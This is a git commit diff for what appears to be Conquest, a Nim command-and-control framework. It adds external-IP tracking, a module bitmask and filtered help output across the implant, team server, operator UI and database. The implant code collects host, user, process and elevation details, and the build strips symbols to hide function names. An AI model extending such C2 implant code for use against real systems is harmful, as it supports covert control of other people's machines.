Added remote address and modules to agent structure. Help command now only shows commands for which the agent has been configured.

This commit is contained in:
Jakob Friedl
2025-10-02 10:25:37 +02:00
parent fbe85493b2
commit 5c0beb36ff
15 changed files with 92 additions and 77 deletions

View File

@@ -3,6 +3,6 @@
-d:release -d:release
--opt:size --opt:size
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="255" -d:MODULES="66"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -1,6 +1,7 @@
import winim, os, net, strformat, strutils, registry, zippy import winim, os, net, strformat, strutils, registry, zippy
import ../../common/[types, serialize, sequence, crypto, utils] import ../../common/[types, serialize, sequence, crypto, utils]
import ../../modules/manager
# Hostname/Computername # Hostname/Computername
proc getHostname(): string = proc getHostname(): string =
@@ -217,7 +218,8 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
process: string.toBytes(getProcessExe()), process: string.toBytes(getProcessExe()),
pid: cast[uint32](getProcessId()), pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()), isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](ctx.sleep) sleep: cast[uint32](ctx.sleep),
modules: cast[uint32](MODULES)
) )
) )
@@ -237,6 +239,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData):
.add(data.metadata.pid) .add(data.metadata.pid)
.add(data.metadata.isElevated) .add(data.metadata.isElevated)
.add(data.metadata.sleep) .add(data.metadata.sleep)
.add(data.metadata.modules)
let metadata = packer.pack() let metadata = packer.pack()
packer.reset() packer.reset()

View File

@@ -129,7 +129,7 @@ proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, time
Handling console commands Handling console commands
]# ]#
proc displayHelp(component: ConsoleComponent) = proc displayHelp(component: ConsoleComponent) =
for module in getModules(): for module in getModules(component.agent.modules):
for cmd in module.commands: for cmd in module.commands:
component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}") component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}")
@@ -252,7 +252,7 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
Session information Session information
]# ]#
let domain = if component.agent.domain.isEmptyOrWhitespace(): "" else: fmt".{component.agent.domain}" let domain = if component.agent.domain.isEmptyOrWhitespace(): "" else: fmt".{component.agent.domain}"
let sessionInfo = fmt"{component.agent.username}@{component.agent.hostname}{domain} | {component.agent.ip} | {$component.agent.pid}/{component.agent.process}".cstring let sessionInfo = fmt"{component.agent.username}@{component.agent.hostname}{domain} | {component.agent.ipInternal} | {$component.agent.pid}/{component.agent.process}".cstring
igTextColored(GRAY, sessionInfo) igTextColored(GRAY, sessionInfo)
igSameLine(0.0f, 0.0f) igSameLine(0.0f, 0.0f)

View File

@@ -32,7 +32,7 @@ proc AgentModal*(): AgentModalComponent =
for cmd in module.commands: for cmd in module.commands:
result &= " - " & cmd.name & "\n" result &= " - " & cmd.name & "\n"
proc compareModules(x, y: Module): int = proc compareModules(x, y: Module): int =
return cmp(x.name, y.name) return cmp(x.moduleType, y.moduleType)
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc) result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)

View File

@@ -59,12 +59,13 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
ImGui_TableFlags_SizingStretchSame.int32 ImGui_TableFlags_SizingStretchSame.int32
) )
let cols: int32 = 11 let cols: int32 = 12
if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f): if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0) igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0) igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Internal", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("External", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
@@ -99,21 +100,23 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
if igTableSetColumnIndex(1): if igTableSetColumnIndex(1):
igText(agent.listenerId) igText(agent.listenerId)
if igTableSetColumnIndex(2): if igTableSetColumnIndex(2):
igText(agent.ip) igText(agent.ipInternal)
if igTableSetColumnIndex(3): if igTableSetColumnIndex(3):
igText(agent.username) igText(agent.ipExternal)
if igTableSetColumnIndex(4): if igTableSetColumnIndex(4):
igText(agent.hostname) igText(agent.username)
if igTableSetColumnIndex(5): if igTableSetColumnIndex(5):
igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain) igText(agent.hostname)
if igTableSetColumnIndex(6): if igTableSetColumnIndex(6):
igText(agent.os) igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain)
if igTableSetColumnIndex(7): if igTableSetColumnIndex(7):
igText(agent.process) igText(agent.os)
if igTableSetColumnIndex(8): if igTableSetColumnIndex(8):
igText($agent.pid) igText(agent.process)
if igTableSetColumnIndex(9): if igTableSetColumnIndex(9):
let duration = now() - agent.firstCheckin.fromUnix().utc() igText($agent.pid)
if igTableSetColumnIndex(10):
let duration = now() - agent.firstCheckin.fromUnix().local()
let totalSeconds = duration.inSeconds let totalSeconds = duration.inSeconds
let hours = totalSeconds div 3600 let hours = totalSeconds div 3600
@@ -123,8 +126,8 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss") let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
igText(fmt"{timeText} ago") igText(fmt"{timeText} ago")
if igTableSetColumnIndex(10): if igTableSetColumnIndex(11):
let duration = now() - component.agentActivity[agent.agentId].fromUnix().utc() let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
let totalSeconds = duration.inSeconds let totalSeconds = duration.inSeconds
let hours = totalSeconds div 3600 let hours = totalSeconds div 3600

View File

@@ -1,5 +1,4 @@
import tables import tables
import times
import parsetoml, json import parsetoml, json
import system import system
import mummy import mummy
@@ -179,6 +178,7 @@ type
pid*: uint32 pid*: uint32
isElevated*: uint8 isElevated*: uint8
sleep*: uint32 sleep*: uint32
modules*: uint32
AgentRegistrationData* = object AgentRegistrationData* = object
header*: Header header*: Header
@@ -193,15 +193,17 @@ type
username*: string username*: string
hostname*: string hostname*: string
domain*: string domain*: string
ip*: string ipInternal*: string
ipExternal*: string
os*: string os*: string
process*: string process*: string
pid*: int pid*: int
elevated*: bool elevated*: bool
sleep*: int sleep*: int
tasks*: seq[Task] tasks*: seq[Task]
firstCheckin*: DateTime modules*: uint32
latestCheckin*: DateTime firstCheckin*: int64
latestCheckin*: int64
sessionKey*: Key sessionKey*: Key
# Session entry for client UI # Session entry for client UI
@@ -211,12 +213,14 @@ type
username*: string username*: string
hostname*: string hostname*: string
domain*: string domain*: string
ip*: string ipInternal*: string
ipExternal*: string
os*: string os*: string
process*: string process*: string
pid*: int pid*: int
elevated*: bool elevated*: bool
sleep*: int sleep*: int
modules*: uint32
firstCheckin*: int64 firstCheckin*: int64
latestCheckin*: int64 latestCheckin*: int64
@@ -259,7 +263,8 @@ type
CLIENT_AGENT_CHECKIN = 103'u8 # Update agent checkin CLIENT_AGENT_CHECKIN = 103'u8 # Update agent checkin
CLIENT_AGENT_PAYLOAD = 104'u8 # Return agent payload binary CLIENT_AGENT_PAYLOAD = 104'u8 # Return agent payload binary
CLIENT_CONSOLE_ITEM = 105'u8 # Add entry to a agent's console CLIENT_CONSOLE_ITEM = 105'u8 # Add entry to a agent's console
CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog
CLIENT_LOOT = 107'u8 # Download file or screenshot to the operator desktop
Event* = object Event* = object
eventType*: EventType eventType*: EventType

View File

@@ -1,7 +1,7 @@
import tables, strformat import tables, strformat
import ../common/types import ../common/types
const MODULES {.intdefine.} = 0 const MODULES* {.intdefine.} = 0
type type
ModuleManager* = object ModuleManager* = object
@@ -75,5 +75,10 @@ proc getCommandByName*(cmdName: string): Command =
proc getAvailableCommands*(): Table[string, Command] = proc getAvailableCommands*(): Table[string, Command] =
return manager.commandsByName return manager.commandsByName
proc getModules*(): seq[Module] = proc getModules*(modules: uint32 = 0): seq[Module] =
return manager.modules if modules == 0:
return manager.modules
else:
for m in manager.modules:
if (modules and cast[uint32](m.moduleType)) == cast[uint32](m.moduleType):
result.add(m)

View File

@@ -1,4 +1,4 @@
import terminal, strformat, strutils, sequtils, tables, times, system, std/[dirs, paths] import terminal, strformat, strutils, sequtils, tables, system, std/[dirs, paths]
import ../globals import ../globals
import ../db/database import ../db/database
@@ -11,17 +11,17 @@ import ../../common/[types, utils, serialize]
Agent API Agent API
Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results
]# ]#
proc register*(registrationData: seq[byte]): bool = proc register*(registrationData: seq[byte], remoteAddress: string): bool =
# The following line is required to be able to use the `cq` global variable for console output # The following line is required to be able to use the `cq` global variable for console output
{.cast(gcsafe).}: {.cast(gcsafe).}:
try: try:
let agent: Agent = cq.deserializeNewAgent(registrationData) let agent: Agent = cq.deserializeNewAgent(registrationData, remoteAddress)
# Validate that listener exists # Validate that listener exists
if not cq.dbListenerExists(agent.listenerId.toUpperAscii): if not cq.dbListenerExists(agent.listenerId.toUpperAscii):
raise newException(CatchableError, fmt"{agent.ip} attempted to register to non-existent listener: {agent.listenerId}." & "\n") raise newException(CatchableError, fmt"{agent.ipInternal} attempted to register to non-existent listener: {agent.listenerId}." & "\n")
# Store agent in database # Store agent in database
if not cq.dbStoreAgent(agent): if not cq.dbStoreAgent(agent):
@@ -67,7 +67,7 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte
raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n") raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n")
# Update the last check-in date for the accessed agent # Update the last check-in date for the accessed agent
cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local() cq.agents[agentId].latestCheckin = cast[int64](timestamp)
cq.client.sendAgentCheckin(agentId) cq.client.sendAgentCheckin(agentId)
# Return tasks # Return tasks
@@ -133,6 +133,7 @@ proc handleResult*(resultData: seq[byte]) =
writeFile(downloadPath, fileBytes) writeFile(downloadPath, fileBytes)
cq.success(fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).", "\n") cq.success(fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).", "\n")
cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).")
of RESULT_NO_OUTPUT: of RESULT_NO_OUTPUT:
cq.output() cq.output()

View File

@@ -138,7 +138,7 @@ proc httpPost*(request: Request) =
headers.add((header, value.getStringValue())) headers.add((header, value.getStringValue()))
if cast[PacketType](header.packetType) == MSG_REGISTER: if cast[PacketType](header.packetType) == MSG_REGISTER:
if not register(string.toBytes(request.body)): if not register(string.toBytes(request.body), request.remoteAddress):
request.respond(400, body = "") request.respond(400, body = "")
return return

View File

@@ -39,7 +39,7 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco
for httpMethod in postMethods: for httpMethod in postMethods:
router.addRoute(httpMethod, endpoint.getStringValue(), routes.httpPost) router.addRoute(httpMethod, endpoint.getStringValue(), routes.httpPost)
let server = newServer(router.toHandler()) let server = newServer(router.toHandler(), maxBodyLen = 1024 * 1024 * 1024)
# Store listener in database # Store listener in database
var listener = Listener( var listener = Listener(

View File

@@ -29,12 +29,14 @@ proc dbInit*(cq: Conquest) =
username TEXT NOT NULL, username TEXT NOT NULL,
hostname TEXT NOT NULL, hostname TEXT NOT NULL,
domain TEXT NOT NULL, domain TEXT NOT NULL,
ip TEXT NOT NULL, ipInternal TEXT NOT NULL,
ipExternal TEXT NOT NULL,
os TEXT NOT NULL, os TEXT NOT NULL,
elevated BOOLEAN NOT NULL, elevated BOOLEAN NOT NULL,
sleep INTEGER DEFAULT 10, sleep INTEGER NOT NULL,
firstCheckin DATETIME NOT NULL, modules INTEGER NOT NULL,
latestCheckin DATETIME NOT NULL, firstCheckin INTEGER NOT NULL,
latestCheckin INTEGER NOT NULL,
sessionKey BLOB NOT NULL sessionKey BLOB NOT NULL
); );

View File

@@ -1,4 +1,4 @@
import system, terminal, tiny_sqlite, times, sequtils import system, terminal, tiny_sqlite, sequtils
import ../core/logger import ../core/logger
import ../../common/types import ../../common/types
@@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
let sessionKeyBlob = agent.sessionKey.toSeq() let sessionKeyBlob = agent.sessionKey.toSeq()
conquestDb.exec(""" conquestDb.exec("""
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, firstCheckin, latestCheckin, sessionKey) INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss"), sessionKeyBlob) """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
conquestDb.close() conquestDb.close()
except: except:
@@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
try: try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKey FROM agents;"): for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, bool, string, string, seq[byte])) let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
# Convert session key blob back to array # Convert session key blob back to array
var sessionKey: Key var sessionKey: Key
@@ -51,12 +51,14 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
username: username, username: username,
hostname: hostname, hostname: hostname,
domain: domain, domain: domain,
ip: ip, ipInternal: ipInternal,
ipExternal: ipExternal,
os: os, os: os,
elevated: elevated, elevated: elevated,
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"), firstCheckin: cast[int64](firstCheckin),
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"), latestCheckin: cast[int64](firstCheckin),
process: process, process: process,
modules: cast[uint32](modules),
sessionKey: sessionKey, sessionKey: sessionKey,
tasks: @[] # Initialize empty tasks tasks: @[] # Initialize empty tasks
) )
@@ -75,14 +77,15 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
try: try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listener = ?;", listenerName): for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listener = ?;", listenerName):
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, bool, string, string, seq[byte])) let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
# Convert session key blob back to array # Convert session key blob back to array
var sessionKey: Key var sessionKey: Key
if sessionKeyBlob.len == 32: if sessionKeyBlob.len == 32:
copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32) copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32)
else: else:
# Handle invalid session key - log error but continue
cq.warning("Invalid session key length for agent: ", agentId) cq.warning("Invalid session key length for agent: ", agentId)
let a = Agent( let a = Agent(
@@ -93,18 +96,18 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
username: username, username: username,
hostname: hostname, hostname: hostname,
domain: domain, domain: domain,
ip: ip, ipInternal: ipInternal,
ipExternal: ipExternal,
os: os, os: os,
elevated: elevated, elevated: elevated,
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"), firstCheckin: cast[int64](firstCheckin),
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"), latestCheckin: cast[int64](firstCheckin),
process: process, process: process,
modules: cast[uint32](modules),
sessionKey: sessionKey, sessionKey: sessionKey,
tasks: @[] tasks: @[] # Initialize empty tasks
) )
agents.add(a)
conquestDb.close() conquestDb.close()
except: except:
cq.error(getCurrentExceptionMsg()) cq.error(getCurrentExceptionMsg())
@@ -137,18 +140,6 @@ proc dbAgentExists*(cq: Conquest, agentName: string): bool =
cq.error(getCurrentExceptionMsg()) cq.error(getCurrentExceptionMsg())
return false return false
proc dbUpdateCheckin*(cq: Conquest, agentName: string, timestamp: string): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec("UPDATE agents SET latestCheckin = ? WHERE name = ?", timestamp, agentName)
conquestDb.close()
return true
except:
cq.error(getCurrentExceptionMsg())
return false
proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool = proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool =
try: try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)

View File

@@ -136,8 +136,8 @@ proc startServer*(profilePath: string) =
var router: Router var router: Router
router.get("/*", upgradeHandler) router.get("/*", upgradeHandler)
# Increased websocket message length in order to support dotnet assembly execution # Increased websocket message length in order to support dotnet assembly execution (1GB)
let server = newServer(router, websocketHandler, maxMessageLen = 1024 * 1024 * 1024) let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024)
server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0") server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0")
# Conquest framework entry point # Conquest framework entry point

View File

@@ -74,7 +74,7 @@ proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult =
data: data data: data
) )
proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent = proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string): Agent =
var unpacker = Unpacker.init(Bytes.toString(data)) var unpacker = Unpacker.init(Bytes.toString(data))
@@ -102,12 +102,13 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
username = unpacker.getDataWithLengthPrefix() username = unpacker.getDataWithLengthPrefix()
hostname = unpacker.getDataWithLengthPrefix() hostname = unpacker.getDataWithLengthPrefix()
domain = unpacker.getDataWithLengthPrefix() domain = unpacker.getDataWithLengthPrefix()
ip = unpacker.getDataWithLengthPrefix() ipInternal = unpacker.getDataWithLengthPrefix()
os = unpacker.getDataWithLengthPrefix() os = unpacker.getDataWithLengthPrefix()
process = unpacker.getDataWithLengthPrefix() process = unpacker.getDataWithLengthPrefix()
pid = unpacker.getUint32() pid = unpacker.getUint32()
isElevated = unpacker.getUint8() isElevated = unpacker.getUint8()
sleep = unpacker.getUint32() sleep = unpacker.getUint32()
modules = unpacker.getUint32()
return Agent( return Agent(
agentId: Uuid.toString(header.agentId), agentId: Uuid.toString(header.agentId),
@@ -115,15 +116,17 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
username: username, username: username,
hostname: hostname, hostname: hostname,
domain: domain, domain: domain,
ip: ip, ipInternal: ipInternal,
ipExternal: remoteAddress,
os: os, os: os,
process: process, process: process,
pid: int(pid), pid: int(pid),
elevated: isElevated != 0, elevated: isElevated != 0,
sleep: int(sleep), sleep: int(sleep),
modules: modules,
tasks: @[], tasks: @[],
firstCheckin: now(), firstCheckin: now().toTime().toUnix(),
latestCheckin: now(), latestCheckin: now().toTime().toUnix(),
sessionKey: sessionKey sessionKey: sessionKey
) )

View File

@@ -9,14 +9,16 @@ proc `%`*(agent: Agent): JsonNode =
result["username"] = %agent.username result["username"] = %agent.username
result["hostname"] = %agent.hostname result["hostname"] = %agent.hostname
result["domain"] = %agent.domain result["domain"] = %agent.domain
result["ip"] = %agent.ip result["ipInternal"] = %agent.ipInternal
result["ipExternal"] = %agent.ipExternal
result["os"] = %agent.os result["os"] = %agent.os
result["process"] = %agent.process result["process"] = %agent.process
result["pid"] = %agent.pid result["pid"] = %agent.pid
result["elevated"] = %agent.elevated result["elevated"] = %agent.elevated
result["sleep"] = %agent.sleep result["sleep"] = %agent.sleep
result["firstCheckin"] = %agent.firstCheckin.toTime().toUnix() result["modules"] = %agent.modules
result["latestCheckin"] = %agent.latestCheckin.toTime().toUnix() result["firstCheckin"] = %agent.firstCheckin
result["latestCheckin"] = %agent.latestCheckin
proc `%`*(listener: Listener): JsonNode = proc `%`*(listener: Listener): JsonNode =
result = newJObject() result = newJObject()